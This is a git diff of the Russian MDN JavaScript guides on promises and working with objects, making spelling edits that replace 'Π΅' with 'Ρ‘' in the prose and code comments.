@@ -307,9 +307,9 @@ doSomething().then(function(result) {
.then(() =&gt; doFourthThing())
.catch(error =&gt; console.log(error));</code></pre>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‡Ρ‚ΠΎΒ <code>() =&gt; x</code>Β  это сокращСнная Ρ„ΠΎΡ€ΠΌΠ°Β <code>() =&gt; { return x; }</code>.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅ Ρ‡Ρ‚ΠΎΒ <code>() =&gt; x</code>Β  это сокращённая Ρ„ΠΎΡ€ΠΌΠ°Β <code>() =&gt; { return x; }</code>.</p>
-<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас имССтся СдинствСнная опрСдСлСнная Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ° с ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ ошибок.</p>
+<p>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Ρƒ нас имССтся СдинствСнная опрСдСлённая Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ° с ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎΠΉ ΠΎΠ±Ρ€Π°Π±ΠΎΡ‚ΠΊΠΎΠΉ ошибок.</p>
<p>ИспользованиС <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>async</code>/<code>await</code></a>Β ΠΏΡ€Π΅Π΄ΠΎΡ‚Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ, Ссли Π½Π΅ всС Π²Ρ‹ΡˆΠ΅ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ ΠΎΡˆΠΈΠ±ΠΊΠΈβ€”Π½ΠΎ Π²Π·Π°ΠΌΠ΅Π½ появляСтся другая частая ΠΎΡˆΠΈΠ±ΠΊΠ°β€”Π·Π°Π±Ρ‹Ρ‚ΡŒ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Statements/async_function"><code>await</code></a>.</p>
@@ -318,5 +318,5 @@ doSomething().then(function(result) {
<ul>
<li>{{jsxref("Promise.then()")}}</li>
<li><a href="http://promisesaplus.com/">БпСцификация Promises/A+ (EN)</a></li>
- <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Нолан Лоусон (Nolan Lawson): Π£ нас ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с промисами - распространСнныС ошибки (EN)</a></li>
+ <li><a href="http://pouchdb.com/2015/05/18/we-have-a-problem-with-promises.html">Нолан Лоусон (Nolan Lawson): Π£ нас ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с промисами - распространённыС ошибки (EN)</a></li>
</ul>
diff --git a/files/ru/web/javascript/guide/working_with_objects/index.html b/files/ru/web/javascript/guide/working_with_objects/index.html
index 88742ac122..ee94429f46 100644
--- a/files/ru/web/javascript/guide/working_with_objects/index.html
+++ b/files/ru/web/javascript/guide/working_with_objects/index.html
@@ -11,11 +11,11 @@ translation_of: Web/JavaScript/Guide/Working_with_Objects
<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² JavaScript, ΠΊΠ°ΠΊ ΠΈ Π²ΠΎ ΠΌΠ½ΠΎΠ³ΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ… языках программирования, ΠΏΠΎΡ…ΠΎΠΆΠΈ Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΉ ΠΆΠΈΠ·Π½ΠΈ. ΠšΠΎΠ½Ρ†Π΅ΠΏΡ†ΠΈΡŽ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² JavaScript Π»Π΅Π³Ρ‡Π΅ ΠΏΠΎΠ½ΡΡ‚ΡŒ, проводя ΠΏΠ°Ρ€Π°Π»Π»Π΅Π»ΠΈ с Ρ€Π΅Π°Π»ΡŒΠ½ΠΎ ΡΡƒΡ‰Π΅ΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΠΌΠΈ Π² ΠΆΠΈΠ·Π½ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°ΠΌΠΈ.</p>
-<p>Π’ JavaScriptΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ β€” это ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½Π°Ρ Π΅Π΄ΠΈΠ½ΠΈΡ†Π°, ΠΈΠΌΠ΅ΡŽΡ‰Π°Ρ свойства ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ. Π‘Ρ€Π°Π²Π½ΠΈΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, с Ρ‡Π°ΡˆΠΊΠΎΠΉ. Π£ Ρ‡Π°ΡˆΠΊΠΈ Π΅ΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚, Ρ„ΠΎΡ€ΠΌΠ°, вСс, ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π», ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½Π° сдСлана, ΠΈ Ρ‚.Π΄. Π’ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ JavaScript ΠΈΠΌΠ΅ΡŽΡ‚ свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΈΡ… характСристики.</p>
+<p>Π’ JavaScriptΒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ β€” это ΡΠ°ΠΌΠΎΡΡ‚ΠΎΡΡ‚Π΅Π»ΡŒΠ½Π°Ρ Π΅Π΄ΠΈΠ½ΠΈΡ†Π°, ΠΈΠΌΠ΅ΡŽΡ‰Π°Ρ свойства ΠΈ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ. Π‘Ρ€Π°Π²Π½ΠΈΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, с Ρ‡Π°ΡˆΠΊΠΎΠΉ. Π£ Ρ‡Π°ΡˆΠΊΠΈ Π΅ΡΡ‚ΡŒ Ρ†Π²Π΅Ρ‚, Ρ„ΠΎΡ€ΠΌΠ°, вСс, ΠΌΠ°Ρ‚Π΅Ρ€ΠΈΠ°Π», ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ³ΠΎ ΠΎΠ½Π° сдСлана, ΠΈ Ρ‚.Π΄. Π’ΠΎΡ‡Π½ΠΎ Ρ‚Π°ΠΊ ΠΆΠ΅, ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ JavaScript ΠΈΠΌΠ΅ΡŽΡ‚ свойства, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ ΠΈΡ… характСристики.</p>
<h2 id="ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹_ΠΈ_свойства">ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΈ свойства</h2>
-<p>Π’ JavaScript ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠΌΠ΅Π΅Ρ‚ свойства, ассоциированныС с Π½ΠΈΠΌ. Бвойство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π·Π°ΠΊΡ€Π΅ΠΏΠ»Π΅Π½Π½ΡƒΡŽ Π·Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ. Бвойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² сущности ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚Π΅ΠΌΠΈ ΠΆΠ΅ самыми ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ JavaScript, Π·Π° Ρ‚Π΅ΠΌ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π·Π°ΠΊΡ€Π΅ΠΏΠ»Π΅Π½Ρ‹ Π·Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ. Бвойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π΅Π³ΠΎ характСристики. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ к свойству ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΌΠΎΠΆΠ½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚ΠΎΡ‡Π΅Ρ‡Π½ΠΎΠΉ записи:</p>
+<p>Π’ JavaScript ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈΠΌΠ΅Π΅Ρ‚ свойства, ассоциированныС с Π½ΠΈΠΌ. Бвойство ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠ½ΠΈΠΌΠ°Ρ‚ΡŒ ΠΊΠ°ΠΊ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΡƒΡŽ, Π·Π°ΠΊΡ€Π΅ΠΏΠ»Ρ‘Π½Π½ΡƒΡŽ Π·Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ. Бвойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π² сущности ΡΠ²Π»ΡΡŽΡ‚ΡΡ Ρ‚Π΅ΠΌΠΈ ΠΆΠ΅ самыми ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½Ρ‹ΠΌΠΈ JavaScript, Π·Π° Ρ‚Π΅ΠΌ ΠΈΡΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΠ΅ΠΌ, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ Π·Π°ΠΊΡ€Π΅ΠΏΠ»Π΅Π½Ρ‹ Π·Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ. Бвойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΡΡŽΡ‚ Π΅Π³ΠΎ характСристики. ΠŸΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ к свойству ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΌΠΎΠΆΠ½ΠΎ с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ Ρ‚ΠΎΡ‡Π΅Ρ‡Π½ΠΎΠΉ записи:</p>
<div style="margin-right: 270px;">
<pre class="brush: js">objectName.propertyName
@@ -30,7 +30,7 @@ myCar.model = "Mustang";
myCar.year = 1969;
</pre>
-<p>НСопрСдСлСнныС свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΡΠ²Π»ΡΡŽΡ‚ΡΡ {{jsxref("undefined")}} (Π° Π½Π΅ {{jsxref("null")}}).</p>
+<p>НСопрСдСлённыС свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΡΠ²Π»ΡΡŽΡ‚ΡΡ {{jsxref("undefined")}} (Π° Π½Π΅ {{jsxref("null")}}).</p>
<pre class="brush: js line-numbers language-js"><code class="language-js">myCar<span class="punctuation token">.</span>color<span class="punctuation token">;</span> <span class="comment token">// undefined</span></code></pre>
@@ -58,7 +58,7 @@ myObj[""] = "Even an empty string";
console.log(myObj);
</pre>
-<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ всС ΠΊΠ»ΡŽΡ‡ΠΈ с ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΌΠΈ скобками ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚ΡΡ Π² Ρ‚ΠΈΠΏ String, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² JavaScript ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π² качСствС ΠΊΠ»ΡŽΡ‡Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΈΠΏ String. НапримСр, Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Π΅, ΠΊΠΎΠ³Π΄Π° ΠΊΠ»ΡŽΡ‡ <code>obj</code> добавляСтся Π² <code>myObj</code>, JavaScript Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>obj.toString ()</code> ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ эту Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΡƒΡŽ строку Π² качСствС Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π°.</p>
+<p>ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ всС ΠΊΠ»ΡŽΡ‡ΠΈ с ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΌΠΈ скобками ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‚ΡΡ Π² Ρ‚ΠΈΠΏ String, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Π² JavaScript ΠΌΠΎΠ³ΡƒΡ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π² качСствС ΠΊΠ»ΡŽΡ‡Π° Ρ‚ΠΎΠ»ΡŒΠΊΠΎ Ρ‚ΠΈΠΏ String. НапримСр, Π² ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½ΠΎΠΌ Π²Ρ‹ΡˆΠ΅ ΠΊΠΎΠ΄Π΅, ΠΊΠΎΠ³Π΄Π° ΠΊΠ»ΡŽΡ‡ <code>obj</code> добавляСтся Π² <code>myObj</code>, JavaScript Π²Ρ‹Π·Ρ‹Π²Π°Π΅Ρ‚ ΠΌΠ΅Ρ‚ΠΎΠ΄ <code>obj.toString ()</code> ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ эту Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚ΠΈΡ€ΡƒΡŽΡ‰ΡƒΡŽ строку Π² качСствС Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΊΠ»ΡŽΡ‡Π°.</p>
<p>Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚ΡŒ доступ ΠΊ свойствам, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ строки, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ хранится Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ:</p>
@@ -71,7 +71,7 @@ myCar[propertyName] = "Mustang";
</pre>
</div>
-<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΌΠΈ скобками Π² конструкции <a class="internal" href="/ru/docs/JavaScript/Guide/Statements#for...in_Statement" title="ru/docs/JavaScript/Guide/Statements#for...in Statement">for...in</a> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ всСх свойств ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ½Π° Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π°. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ функция ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ всС свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Π΅Ρ‚Π΅ Π² Π½Π΅Π΅ сам ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ Π΅Π³ΠΎ имя ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:</p>
+<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹ΠΌΠΈ скобками Π² конструкции <a class="internal" href="/ru/docs/JavaScript/Guide/Statements#for...in_Statement" title="ru/docs/JavaScript/Guide/Statements#for...in Statement">for...in</a> Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ ΠΈΡ‚Π΅Ρ€Π°Ρ†ΠΈΡŽ всСх свойств ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, для ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… ΠΎΠ½Π° Ρ€Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π°. Π§Ρ‚ΠΎΠ±Ρ‹ ΠΏΠΎΠΊΠ°Π·Π°Ρ‚ΡŒ ΠΊΠ°ΠΊ это Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚, ΡΠ»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ функция ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ всС свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹ ΠΏΠ΅Ρ€Π΅Π΄Π°Ρ‘Ρ‚Π΅ Π² Π½Π΅Ρ‘ сам ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ Π΅Π³ΠΎ имя ΠΊΠ°ΠΊ Π°Ρ€Π³ΡƒΠΌΠ΅Π½Ρ‚Ρ‹ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ:</p>
<pre class="brush: js">function showProps(obj, objName) {
var result = "";
@@ -137,12 +137,12 @@ myCar.year = 1969</pre>
<p>Если ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ создан ΠΏΡ€ΠΈ ΠΏΠΎΠΌΠΎΡ‰ΠΈ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π½Π° Π²Ρ‹ΡΡˆΠ΅ΠΌ ΡƒΡ€ΠΎΠ²Π½Π΅ скрипта, Ρ‚ΠΎ JavaScript ΠΈΠ½Ρ‚Π΅Ρ€ΠΏΡ€Π΅Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° Π°Π½Π°Π»ΠΈΠ·ΠΈΡ€ΡƒΠ΅Ρ‚ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅, содСрТащСС ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, записанный ΠΊΠ°ΠΊ Π»ΠΈΡ‚Π΅Ρ€Π°Π». Плюс, Ссли ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ ΠΈΠ½ΠΈΡ†ΠΈΠ°Π»ΠΈΠ·Π°Ρ‚ΠΎΡ€ΠΎΠΌ, Ρ‚ΠΎ ΠΎΠ½ Π±ΡƒΠ΄Π΅Ρ‚ ΡΠΎΠ·Π΄Π°Π²Π°Ρ‚ΡŒΡΡ ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° функция вызываСтся.</p>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ инструкция создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ Π½Π°Π·Π½Π°Ρ‡Π°Π΅Ρ‚ Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>x</code>, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ <code>cond</code> истинно.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰Π°Ρ инструкция создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ ΠΈ Π½Π°Π·Π½Π°Ρ‡Π°Π΅Ρ‚ Π΅Π³ΠΎ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ <code>x</code>, ΠΊΠΎΠ³Π΄Π° Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ <code>cond</code> истинно.</p>
<pre class="brush: js">if (cond) var x = {hi: "there"};
</pre>
-<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉΒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>myHonda</code> с трСмя свойствами. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ свойство <code>engine</code>Β <span style="line-height: 1.5;">β€”</span> это Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ со своими собствСнными свойствами.</p>
+<p>Π‘Π»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉΒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ <code>myHonda</code> с трСмя свойствами. Π—Π°ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅, Ρ‡Ρ‚ΠΎ свойство <code>engine</code>Β <span style="line-height: 1.5;">β€”</span> это Ρ‚Π°ΠΊΠΆΠ΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ со своими собствСнными свойствами.</p>
<pre class="brush: js">var myHonda = {
color: "red",
@@ -183,7 +183,7 @@ myCar.year = 1969</pre>
<pre class="brush: js">var mycar = new Car("Eagle", "Talon TSi", 1993);
</pre>
-<p>Π­Ρ‚Π° инструкция создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° Car со ссылкой <code>mycar</code> ΠΈ присваиваСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ значСния Π΅Π³ΠΎ свойствам. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>mycar.make </code>станСт строка "Eagle", <code>mycar.year</code>Β <span style="line-height: 1.5;">β€”</span> это Ρ†Π΅Π»ΠΎΠ΅ число 1993, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
+<p>Π­Ρ‚Π° инструкция создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‚ΠΈΠΏΠ° Car со ссылкой <code>mycar</code> ΠΈ присваиваСт ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ значСния Π΅Π³ΠΎ свойствам. Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌΒ <code>mycar.make </code>станСт строка "Eagle", <code>mycar.year</code>Β <span style="line-height: 1.5;">β€”</span> это Ρ†Π΅Π»ΠΎΠ΅ число 1993, ΠΈ Ρ‚Π°ΠΊ Π΄Π°Π»Π΅Π΅.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ ΡΡ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² <code>car,</code> сколько Π½ΡƒΠΆΠ½ΠΎ, просто вызывая  <code>new</code>. НапримСр:</p>
@@ -246,11 +246,11 @@ var Animal = {
}
};
-// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Animal
+// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Animal
var animal1 = Object.create(Animal);
animal1.displayType(); // Π’Ρ‹Π²Π΅Π΄Π΅Ρ‚:Invertebrates
-// Π‘ΠΎΠ·Π΄Π°Π΅ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Animal ΠΈ присваиваСм Π΅ΠΌΡƒ type = Fishes
+// Π‘ΠΎΠ·Π΄Π°Ρ‘ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Animal ΠΈ присваиваСм Π΅ΠΌΡƒ type = Fishes
var fish = Object.create(Animal);
fish.type = 'Fishes';
fish.displayType(); // Π’Ρ‹Π²Π΅Π΄Π΅Ρ‚:Fishes</pre>
@@ -263,13 +263,13 @@ fish.displayType(); // Π’Ρ‹Π²Π΅Π΄Π΅Ρ‚:Fishes</pre>
<p>Π’ JavaScript 1.0Β Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΎΡΠ»Π°Ρ‚ΡŒΡΡ Π½Π° свойства ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π»ΠΈΠ±ΠΎ ΠΏΠΎ Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ, Π»ΠΈΠ±ΠΎ ΠΏΠΎ Π΅Π³ΠΎ порядковому индСксу. Π’ JavaScript 1.1 ΠΈ ΠΏΠΎΠ·ΠΆΠ΅, Ссли Π²Ρ‹ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ свойство ΠΏΠΎ ΠΈΠΌΠ΅Π½ΠΈ, Π²Ρ‹ всСгда Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° Π½Π΅Π³ΠΎ ΠΏΠΎ Π΅Π³ΠΎ ΠΈΠΌΠ΅Π½ΠΈ, ΠΈ Ссли Π²Ρ‹ ΠΈΠ·Π½Π°Ρ‡Π°Π»ΡŒΠ½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ свойство ΠΏΠΎ индСксу, Ρ‚ΠΎΒ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΡΡΡ‹Π»Π°Ρ‚ΡŒΡΡ Π½Π° Π½Π΅Π³ΠΎ ΠΏΠΎ Π΅Π³ΠΎ индСксу.</p>
